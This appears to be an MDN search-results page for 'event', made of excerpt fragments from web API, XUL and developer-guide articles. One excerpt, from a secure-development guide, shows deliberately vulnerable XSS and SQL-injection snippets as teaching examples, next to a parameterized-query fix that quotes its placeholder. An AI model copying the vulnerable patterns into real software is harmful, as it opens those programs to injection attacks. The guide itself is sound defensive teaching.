...t's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. ...
...directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth. then come the
event handlers. ...
...And 12 more matches
The HTML DOM API - Web APIs
the contents of 2d images and the context of an html <canvas>, for example to draw on top of them. management of media connected to the html media elements (<audio> and <video>). dragging and dropping of content on webpages. access to the browser navigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent
events. html dom concepts and usage in this article, we'll focus on the parts of the html dom that involve engaging with html elements. discussion of other areas, such as drag and drop, websockets, web storage, etc. can be found in the documentation for those apis. structure of an html document the document object model (dom) is an architecture that describes the structure of a document; each docu...
...aders when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. access to lists of elements in the document's <head> block and body, as well as lists of the images, links, scripts, etc. contained in the document. support for interacting with the user by examining focus and by executing commands on editable content.
event handlers for document
events defined by the html standard to allow access to mouse and keyboard
events, drag and drop, media control, and more.
event handlers for
events that can be delivered to both elements and documents; these presently include only copy, cut, and paste actions. html element interfaces the element interface has been further adapted to represent html elements specifically b...
...terfaces the element interface has been further adapted to represent html elements specifically by introducing the htmlelement interface, which all more specific html element classes inherit from. this expands the element class to add html-specific general features to the element nodes. properties added by htmlelement include for example hidden and innertext. htmlelement also adds all the global
event handlers. an html document is a dom tree in which each of the nodes is an html element, represented by the htmlelement interface. the htmlelement class, in turn, implements node, so every element is also a node (but not the other way around). this way, the structural features implemented by the node interface are also available to html elements, allowing them to be nested within each other, crea...
...And 12 more matches
ServiceWorkerGlobalScope - Web APIs
the serviceworkerglobalscope interface of the serviceworker api represents the global execution context of a service worker. developers should keep in mind that the serviceworker state is not persisted across the termination/restart cycle, so each
event handler should assume it's being invoked with a bare, default global state. once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. an active service worker is automatically restarted to respond to
events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage. additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used. this interface inherit...
...active service worker is automatically restarted to respond to
events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage. additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used. this interface inherits from the workerglobalscope interface, and its parent
eventtarget, and therefore implements properties from windowtimers, windowbase64, and window
eventhandlers. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 12.142857142857142%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 85" preserveaspectratio="xminym...
...rties from windowtimers, windowbase64, and window
eventhandlers. ...
...And 12 more matches
Service Worker API - Web APIs
he network (when available). they are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. they will also allow access to push notifications and background sync apis. service worker concepts and usage a service worker is an
event-driven worker registered against an origin and a path. it takes the form of a javascript file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not ava...
...user inside the whole origin, or inside a subset specified by you. download, install and activate at this point, your service worker will observe the following lifecycle: download install activate the service worker is immediately downloaded when a user first accesses a service worker–controlled site/page. after that, it is updated when: a navigation to an in-scope page occurs. an
event is fired on the service worker and it hasn't been downloaded in the last 24 hours. installation is attempted when the downloaded file is found to be new — either different to an existing service worker (byte-wise compared), or the first service worker encountered for this page/site. if this is the first time a service worker has been made available, installation is attempted, then after a su...
...is only activated when there are no longer any pages loaded that are still using the old service worker. as soon as there are no more pages to be loaded, the new service worker activates (becoming the active worker). activation can happen sooner using serviceworkerglobalscope.skipwaiting() and existing pages can be claimed by the active worker using clients.claim(). ...
...And 12 more matches
Index - Developer guides
ross most major desktop and mobile browsers. as well as working fullscreen, the player features custom controls rather than just using the browser defaults. the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. ...
...ts. the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. 9 cross-browser audio basics apps, audio, guide, html5, media,
events this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and
events explained a guide to custom controls created using the media api 10 live streaming web audio and video guide, adaptive streaming live streaming technology is often employed to relay live
events such as sports, concerts and more generally tv and radio programmes that are output live. often shortened to just streaming, live streaming is the process of transmitting media 'li...
...irefox, and are totally excited and ready to make your until-now-webkit-only sites work with firefox, which uses the unprefixed version of the spec. 16 audio and video manipulation audio, canvas, examples, guide, html5, media, video, web audio api, webgl, developer recommendation the ability to read the pixel values from each frame of a video can be very useful. ...
...And 12 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
rd security and how autocomplete is slightly different for hidden than for other input types. autofocus a boolean attribute which, if present, indicates that the input should automatically have focus when the page has finished loading (or when the <dialog> containing the element has been displayed). note: an element with the autofocus attribute may gain focus before the domcontentloaded
event is fired. no more than one element in the document may have the autofocus attribute. if put on more than one element, the first one with the attribute receives focus. the autofocus attribute cannot be used on inputs of type hidden, since hidden inputs cannot be focused. warning: automatically focusing a form control can confuse visually-impaired people using screen-reading technology an...
... of fruit=cherry and the dirname / direction pair of fruit.dir=ltr to be sent. disabled a boolean attribute which, if present, indicates that the user should not be able to interact with the input. disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use. specifically, disabled inputs do not receive the click
event, and disabled inputs are not submitted with the form. note: although not required by the specification, firefox will by default persist the dynamic disabled state of an <input> across page loads. use the autocomplete attribute to control this feature. form a string specifying the <form> element with which the input is associated (that is, its form owner). this string's value, if prese...
...nter into the field. this must be an integer value 0 or higher. if no maxlength is specified, or an invalid value is specified, the field has no maximum length. this value must also be greater than or equal to the value of minlength. the input will fail constraint validation if the length of the text entered into the field is greater than maxlength utf-16 code units long. by default, browsers pr
event users from entering more characters than allowed by the maxlength attribute. see client-side validation for more information. min valid for date, month, week, time, datetime-local, number, and range, it defines the most negative value in the range of permitted values. if the value entered into the element is less than this this, the element fails constraint validation. if the value of the m...
...And 12 more matches
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail. if you need finer control over custom code execution—for example, as documents are loading or when tabs are switched—see progress listeners. progress listeners allow extensions to be notified of
events associated with documents loading in the browser and with tab switching
events. progress listeners implement the nsiwebprogresslistener interface. creating an overlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul ...
...ou target) of the following xul documents: application uri to overlay firefox chrome://browser/content/browser.xul thunderbird chrome://messenger/content/messenger.xul navigator from seamonkey chrome://navigator/content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load
event listener to appcontent element (browsers) or messagepane (mail): window.add
eventlistener("load", function load(
event){ window.remove
eventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var appcontent = document.getelementbyid("appcontent"); // browser if(appcontent){ appcontent.adde...
... // doc.location is a location object (see below for a link). // you can use it to make your code executed on certain pages only. if(doc.loc...
...And 11 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
« previousnext » gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api. this section describes how to use the javascript wrapper for drag and drop. the javascript drag and drop wrapper the javascript wrapper to drag and drop simplifies the process by handling all of the xpcom interfaces for you. it works by providing an object which implements the
event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. you can include this file in your xul file with the script tag in the same way you would include your own scripts. the library also depends on another script library, which you should also include, u...
...e files to see how drag and drop is done at a lower level. note that you can only use these libraries from within xul loaded via a chrome url. <script src="chrome://global/content/nsdraganddrop.js" /> <script src="chrome://global/content/nstransferable.js" /> this drag and drop library creates an object stored in the variable nsdraganddrop. ...
...ome url. <script src="chrome://global/content/nsdraganddrop.js" /> <script src="chrome://global/content/nstransferable.js" /> this drag and drop library creates an object stored in the variable nsdraganddrop. the object contains a series of functions, one for each
event handler (except for dragenter where it has nothing special to do). each of the functions takes two parameters, the first is the
event object and the second is an observer object that you create. more on that in a moment. the following is an example of calling the nsdraganddrop object. <button label="drag me" ondraggesture="nsdraganddrop.startdrag(
event,buttonobserver);" /> the function startdrag will be called when a drag starts on the button. the first parameter is the
event object, available in all
event handlers. the second...
...And 11 more matches
Secure Development Guidelines
ictim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking... xss: example the following snippet of javascript: document.write("welcome to " + document.location); ... ...
...could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: pr
evention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); wri...
... jsbool js_str_escape(jscontext *cx, jsobject *obj, unsigned int argc, jsval *argv, jsval *rval){ ... newchars = (jschar *) js_malloc(cx, (newlength + 1) * sizeof(jschar)); ... for (i = 0, ni = 0; i < length; i++) { if ((ch = chars[i]) < 128 && is_ok(ch, mask)) { newchars[ni++] = ch; ... } ... } ... ...
...And 10 more matches
nsIDroppedLinkHandler
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article. ...
... dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article. ...
... dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article. ...
...And 10 more matches
nsIThreadObserver
the nsithreadobserver interface may be implemented to let an observer implement a layered
event queue. the implementation of this interface must be thread safe. xpcom/threads/nsithreadinternal.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void afterprocessnext
event(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatched
event(in nsithreadinternal thread); void onprocessnext
event(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnext
event() called by the nsithread method nsithread.processnext
event() after an
event is processed. this method is only called on the target thread. note: i...
...; void onprocessnext
event(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnext
event() called by the nsithread method nsithread.processnext
event() after an
event is processed. this method is only called on the target thread. note: it is valid to change the thread's observer during a call to this method. void afterprocessnext
event( in nsithreadinternal thread, in unsigned long recursiondepth ); parameters thread the nsithread on which the
event was processed. recursiondepth the number of calls to nsithread.processnext
event() on the call stack in addition to the current call. ondispatched
event() called after an
event has been dispatched to the thread. this method may be called from any thread. note: it is va...
... thread the nsithread on which the
event was processed. recursiondepth the number of calls to nsithread.processnext
event() on the call stack in addition to the current call. ondispatched
event() called after an
event has been dispatched to the thread. this method may be called from any thread. note: it is valid to change the thread's observer during a call to this method. void ondispatched
event( in nsithreadinternal thread ); parameters thread the nsithread on which the
event was dispatched. onprocessnext
event() called by the nsithread method nsithread.processnext
event() before an
event is processed. this method is only called on the target thread. it is valid to change the thread\'s observer during a call to this method. ...
...And 10 more matches
HTMLBodyElement - Web APIs
ited from the regular htmlelement interface) for manipulating <body> elements. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... htmlbodyelement.alink is a domstring that represents the color of active hyperlinks. htmlbodyelement.background is a domstring that represents the description of the location of the background image resource. note that this is not an uri, though some older version of some browsers do...
...And 10 more matches
File drag and drop - Web APIs
html drag and drop interfaces enable web applications to drag and drop files on a web page. this document describes how an application can accept one or more files that are dragged from the underlying platform's file manager and dropped on a web page. the main steps to drag and drop are to define a drop zone (i.e. a target element for the file drop) and to define
event handlers for the drop and dragover
events. these steps are described below, including example code snippets. the full source code is available in mdn's drag-and-drop repository (pull requests and/or issues are welcome). note: html drag and drop defines two different apis to support dragging and dropping files. one api is the datatransfer interface and the second api is the datatransferitem and datatransferitemlist interfaces. ...
...l requests and/or issues are welcome). note: html drag and drop defines two different apis to support dragging and dropping files. one api is the datatransfer interface and the second api is the datatransferitem and datatransferitemlist interfaces. this example illustrates the use of both apis (and does not use any gecko specific interfaces). define the drop zone the target element of the drop
event needs an ondrop global
event handler. the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(
event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover
event handler on the drop target element and that handler will turn off the browser's default drag behavior. to add this handl...
...ollowing code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(
event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover
event handler on the drop target element and that handler will turn off the browser's default drag behavior. to add this handler, you need to include a ondragover global
event handler: <div id="drop_zone" ondrop="drophandler(
event);" ondragover="dragoverhandler(
event);"> <p>drag one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to visually indicate the element is a drop zone. in this example, the drop target element uses the following styling: #drop_zone { border: 5px solid blue; width: 200px;...
...And 10 more matches
Example and tutorial: Simple synth keyboard - Web APIs
border: 1px solid black; border-radius: 5px; width: 20px; height: 80px; text-align: center; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-
events: none; } .key div sub { font-size: 10px; pointer-
events: none; } .key:hover { background-color: #eef; } .key:active { background-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsbar { padding-top: 8px; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: relative; vertical-align: middle; width: 100%; hei...
...xist. if (!object.entries) { object.entries = function entries(o) { return reduce(keys(o), (e, k) => concat(e, typeof k === 'string' && isenumerable(o, k) ? [[k, o[k]]] : []), []); }; } building the keyboard the setup() function is responsible for building the keyboard and preparing the app to play music. function setup() { notefreq = createnotetable(); volumecontrol.add
eventlistener("change", changevolume, false); mastergainnode = audiocontext.creategain(); mastergainnode.connect(audiocontext.destination); mastergainnode.gain.value = volumecontrol.value; // create the keys; skip any that are sharp or flat; for // our purposes we don't need them. each octave is inserted // into a <div> of class "octave". notefreq.foreach(function(keys, idx) { let ...
...b'][data-octave='5']").scrollintoview(false); sineterms = new float32array([0, 0, 1, 0, 1]); cosineterms = new float32array(sineterms.length); customwaveform = audiocontext.createperiodicwave(cosineterms, sineterms); for (i=0; i<9; i++) { osclist[i] = []; } } setup(); the table which maps note names and octaves to their frequenies is created by calling createnotetable(). an
event handler is established (by calling our old friend add
eventlistener() to handle change
events on the master gain control. this will simply update the master gain node's volume to the new value of the control. next, we iterate over each octave in the note frequencies table. for each octave, we use object.entries() to get a list of the notes in that octave. create a <div> to contain that octave's ...
...And 10 more matches
XMLHttpRequest - Web APIs
is doing. xmlhttprequest is used heavily in ajax programming. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest
eventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,m...
...="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest
eventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest
eventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none"/><line x1="411" y1="25" x2="441" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest" target="_top"><rect x="441" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace...
...And 10 more matches
Box-shadow generator - CSS: Cascading Style Sheets
lider-pointer'; node.appendchild(pointer); this.pointer = pointer; setmousetracking(node, updateslider.bind(this)); sliders[topic] = this; setvalue(topic, this.value); } var setbuttoncomponent = function setbuttoncomponent(node) { var type = node.getattribute('data-type'); var topic = node.getattribute('data-topic'); if (type === "sub") { node.textcontent = '-'; node.add
eventlistener("click", function() { decrement(topic); }); } if (type === "add") { node.textcontent = '+'; node.add
eventlistener("click", function() { increment(topic); }); } } var setinputcomponent = function setinputcomponent(node) { var topic = node.getattribute('data-topic'); var unit_type = node.getattribute('data-unit'); var input = document.createelement('inpu...
... }); } } var setinputcomponent = function setinputcomponent(node) { var topic = node.getattribute('data-topic'); var unit_type = node.getattribute('data-unit'); var input = document.createelement('input'); var unit = document.createelement('span'); unit.textcontent = unit_type; input.setattribute('type', 'text'); node.appendchild(input); node.appendchild(unit); input.add
eventlistener('click', function(e) { this.select(); }); input.add
eventlistener('change', function(e) { setvalue(topic, e.target.value | 0); }); subscribe(topic, function(value) { node.children[0].value = value; }); } var increment = function increment(topic) { var slider = sliders[topic]; if (slider === null || slider === undefined) return; if (slider.value + slider.st...
... delta = slider.max - slider.min; var width = slider.node.clientwidth; var offset = slider.pointer.clientwidth; var pos = (value - slider.min) * width / delta; slider.value = value; slider.pointer.style.left = pos - offset / 2 + "px"; slider.node.setattribute('data-value', value); notify.call(slider); } var setmousetracking = function setmousetracking(elem, callback) { elem.add
eventlistener("mousedown", function(e) { callback(e); document.add
eventlistener("mousemove", callback); }); document.add
eventlistener("mouseup", function(e) { document.remove
eventlistener("mousemove", callback); }); } var subscribe = function subscribe(topic, callback) { if (subscribers[topic] === undefined) subscribers[topic] = []; subscribers[topic].push(callback); } var ...
...And 10 more matches
Introducing the Audio API extension - Archive of obsolete content
the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. please note that this document describes a non-standard experimental api. this api has been deprecated since gecko 22, disabled since gecko 28, and removed from gecko 31. you should use the web audio api instead. reading audio streams the loadedmetadata
event when the metadata of the media element is available, it triggers a loadedmetadata
event. this
event has the following attributes: mozchannels: number of channels mozsamplerate: sample rate per second mozframebufferlength: number of samples collected in all channels this information is needed later to decode the audio data stream. the following example extracts the data from an audio eleme...
..."audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <script> function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; } var audio = document.getelementbyid('audio-element'); audio.add
eventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> the mozaudioavailable
event as the audio is played, sample data is made available to the audio layer and the audio buffer (size defined in mozframebufferlength) gets filled with those samples. once the buffer is full, the
event mozaudioavailable is triggered. this
event therefore contains the raw samples of a per...
... the mozaudioavailable
event as the audio is played, sample data is made available to the audio layer and the audio buffer (size defined in mozframebufferlength) gets filled with those samples. once the buffer is full, the
event mozaudioavailable is triggered. this
event therefore contains the raw samples of a period of time. those samples may or may not have been played yet at the time of the
event and have not been adjusted for mute or volume settings on the media element. playing, pausing, and seeking the audio also affect the streaming of this raw audio data. ...
...And 9 more matches
A XUL Bestiary - Archive of obsolete content
to the object itself while the attribute is like a property. the attribute has a value associated with it (such as the string "file" for the id attribute in the example above). note that the menu element includes both the opening tag at the top and the closing tag at the bottom of the example. in a way, the menu element comprises the menu element itself and its children, the popup and menuitems.
events
events are also a source of confusion for many less-hardened developers. in fact, i'm not sure i understand them adequately myself, but here goes a simple explanation of
events and of how they are used, basically, in a
event-based interface like those created in xul.
events are messages that are sent from an object when that object performs some action. for example, a document fires, or raises,...
...e also a source of confusion for many less-hardened developers. in fact, i'm not sure i understand them adequately myself, but here goes a simple explanation of
events and of how they are used, basically, in a
event-based interface like those created in xul.
events are messages that are sent from an object when that object performs some action. for example, a document fires, or raises, the "load"
event when it is loaded into a browser. the "click"
event is fired by a button when it is clicked. if you don't do anything about these
events, then you probably never know about them. ...
...e messages that are sent from an object when that object performs some action. for example, a document fires, or raises, the "load"
event when it is loaded into a browser. the "click"
event is fired by a button when it is clicked. if you don't do anything about these
events, then you probably never know about them. documents will load, buttons will be clicked, and links will be hovered over, and
events will be raised for all these actions behind closed doors. if, however, you write
event handlers inside
event listeners, as we will describe shortly, you can use these
events to set off other actions. ...
...And 9 more matches
menupopup - Archive of obsolete content
he element, or by pressing the menu key on the keyboard. more information is available in the xul tutorial and popup guide. attributes ignorekeys, left, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, top properties accessibletype, anchornode, popupboxobject, position, state, triggernode methods hidepopup, moveto, openpopup, openpopupatscreen, setconsumerollup
event, showpopup, sizeto examples the following example shows how a menupopup may be attached to a menulist. <menulist> <menupopup> <menuitem label="mozilla" value="http://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist>...
...> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/> attributes ignorekeys type: boolean if true, keyboard navigation between items in the popup is disabled. left type: integer overrides the horizontal position of the popup specified by the showpopup method. onpopuphidden type: script code this
event is sent to a popup after it has been hidden. this
event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden. example: <menupopup id="top" onpopuphidden="console.log('the onpopuphidden method of id=top was called.');"> <menuitem label="item 1"/> <menuitem label="item 2"/> <menu id="submenu1" label="submenu 1"> <m...
... <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submenu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this
event is sent to a popup when it is about to be hidden. onpopupshowing type: script code this
event is sent to a popup just before it is opened. this handler is usually used to dynamically set the contents when the user requests to display it. returning false from this
event handler pr
events the popup from appearing. onpopupshown type: script code this
event is sent to a popup after i...
...And 9 more matches
preference - Archive of obsolete content
preference.name" type="int"/> </preferences> see preferences system for a complete example. attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...to true, it indicates that the value of the preference is the reverse of the user interface element attached to it. for instance, checking the checkbox disables the preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. ...
...of the preference is the reverse of the user interface element attached to it. for instance, checking the checkbox disables the preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. overview an onchange attribute is an
event listener to the object for the
event change. ...
...And 9 more matches
Common causes of memory leaks in extensions - Extensions
e explains coding patterns that cause extension to cause memory leaks. causes of zombie compartments zombie compartments are a particular kind of memory leak. all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circumstances, such as when a window is closed, a page unloads, or an extension is disabled or removed. while bug 695480 should pr
event most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist. storing references to window objects and dom nodes the most common problem is extensions holding onto references to content w...
...hould instead be stored in an object which is specific to that document, and cleaned up when the document is unloaded, or stored as weak references. be careful with setinterval/settimeout using window.setinterval() or window.settimeout() can be problematic, too, when it comes to zombie compartments. consider the following example code that could be part of your browser.xul overlay: gbrowser.add
eventlistener("domcontentloaded", function(evt) { var contentdoc = evt.originaltarget; var i = 0; // refresh the title once each second setinterval(function() { contentdoc.title = ++i; }, 1000); }, false); one would normally expect that the interval (or timer) would be destroyed as soon as the document unloads, in the same way that
event listeners are automatically destroyed. however, ...
...entdoc, therefore leaking the content document and the associated window and compartment. if your add-on makes use of long-lived timeouts or uses window.setinterval(), you need to take special care to ensure your code won't accidentally leak content windows. therefore, your add-on should clean up such intervals and timeouts when the corresponding content document is unloaded, by adding an unload
event listener or by similar means. another solution would be to use the setinterval()/settimeout() instances content windows provide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work. problems in bootstrapped (restartless) add-ons bootstrapped extensions use a...
...And 9 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
95 cross-site scripting cross site scripting, dom, glossary, security, xss, exploit cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the s
eventh most common web app vulnerability in 2017. 96 cryptanalysis cryptography, glossary, privacy, security cryptanalysis is the branch of cryptography that studies how to break codes and cryptosystems. cryptanalysis creates techniques to break ciphers, in particular by methods more efficient than a brute-force search. in addition to traditional methods like frequency analysis and...
...raphy, glossary, privacy, security in cryptography, decryption is the conversion of ciphertext into cleartext. 107 delta delta, glossary, difference, value the term delta refers to the difference between two values or states. 108 denial of service attack, denial of service, glossary, intro, security dos (denial of service) is a network attack that pr
events legitimate use of server resources by flooding the server with requests. 109 descriptor (css) css, codingscripting, glossary, needscontent a css descriptor defines the characteristics of an at-rule. at-rules may have one or multiple descriptors. each descriptor has: 110 deserialization deserialization, deserialize, glossary, javascript the process whereb...
... 114 distributed denial of service attack, ddos, denial of service, glossary, intro, security a distributed denial-of-service (ddos) is an attack in which many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users. ...
...And 9 more matches
Index - Learn web development
it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript. after that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. 76 a first splash into javascript article, beginner, codingscripting, conditionals, functions, javascript, learn, objects, operators, variables,
events, l10n:priority now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial. here you'll build up a simple "guess the number" game, step by step. 77 arrays arrays, article, beginner, codingscripting, javascript, join, learn, pop, push, ...
... to work out what's wrong in your code, but at least this will save you a few hours of sleep and allow you to progress a bit faster when things don't turn out right, especially in the earlier stages of your learning journey. 89 javascript building blocks article, assessment, beginner, codingscripting, conditionals, functions, guide, introduction, javascript, landing, loops, module,
events, l10n:priority in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and
events. you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. 90 build your own function article, be...
...le task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times. in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters. ...
...And 9 more matches
What is JavaScript? - Learn web development
so what can ...
...seful values inside variables. in the above example for instance, we ask for a new name to be entered then store that name in a variable called name. operations on pieces of text (known as "strings" in programming). in the above example we take the string "player 1: " and join it to the name variable to create the complete text label, e.g. ''player 1: chris". running code in response to certain
events occurring on a web page. we used a click
event in our example above to detect when the button is clicked and then run the code that updates the text label. and much more! what is even more exciting however is the functionality built on top of the client-side javascript language. so-called application programming interfaces (apis) provide you with extra superpowers to use in your javascript co...
... these are advanced techniques that we won't cover in this course. javascript running order when the browser encounters a block of javascript, it generally runs it in order, from top to bottom. this means that you need to be careful what order you put things in. for example, let's return to the block of javascript we saw in our first example: const para = document.queryselector('p'); para.add
eventlistener('click', updatename); function updatename() { let name = prompt('enter a new name'); para.textcontent = 'player 1: ' + name; } here we are selecting a text paragraph (line 1), then attaching an
event listener to it (line 3) so that when the paragraph is clicked, the updatename() code block (lines 5–8) is run. the updatename() code block (these types of reusable code blocks are cal...
...And 9 more matches
nsIFrameLoader
iptable handles loading a frame. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes. ...
...ace works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes. ...
... in use to support per-frame processes. ...
...And 9 more matches
HTMLMediaElement - Web APIs
